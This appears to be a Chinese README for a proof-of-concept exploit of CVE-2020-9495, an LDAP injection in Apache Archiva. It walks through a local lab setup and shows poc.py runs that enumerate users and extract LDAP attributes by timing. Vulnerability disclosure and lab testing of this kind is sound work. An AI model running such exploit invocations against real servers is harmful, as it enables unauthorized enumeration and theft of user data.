CVE-2020-9495 是 Apache Archiva 2.2.5 之前版本中的一个中等严重程度的 LDAP 注入漏洞。它允许攻击者检索 LDAP 服务器上存在的用户的任何 LDAP 属性值。
来自 Apache Archiva 官方公告:
通过向 Archiva 登录表单提供特殊值,攻击者能够从连接的 LDAP 服务器检索用户属性数据。通过使用特定字符,可以修改用于查询连接 LDAP 服务器上用户的 LDAP 过滤器。通过测量响应时间,可以从 LDAP 用户对象中检索任意属性数据。
poc.py 脚本演示了未经授权的攻击者如何枚举与 Archiva 集成的 LDAP 服务器上的用户,并获取任何用户的任何属性值。
如果已经有启用了 LDAP 认证的 Archiva 服务器,请跳过此步骤。
下载 Archiva 2.2.4 并解压
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
运行 OpenLDAP 服务器
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
从 users.ldif 导入用户到 LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
运行 Archiva 服务器
$ bin/archiva console
通过网络界面启用并配置 LDAP 认证
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 用户的 LDAP 属性值$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last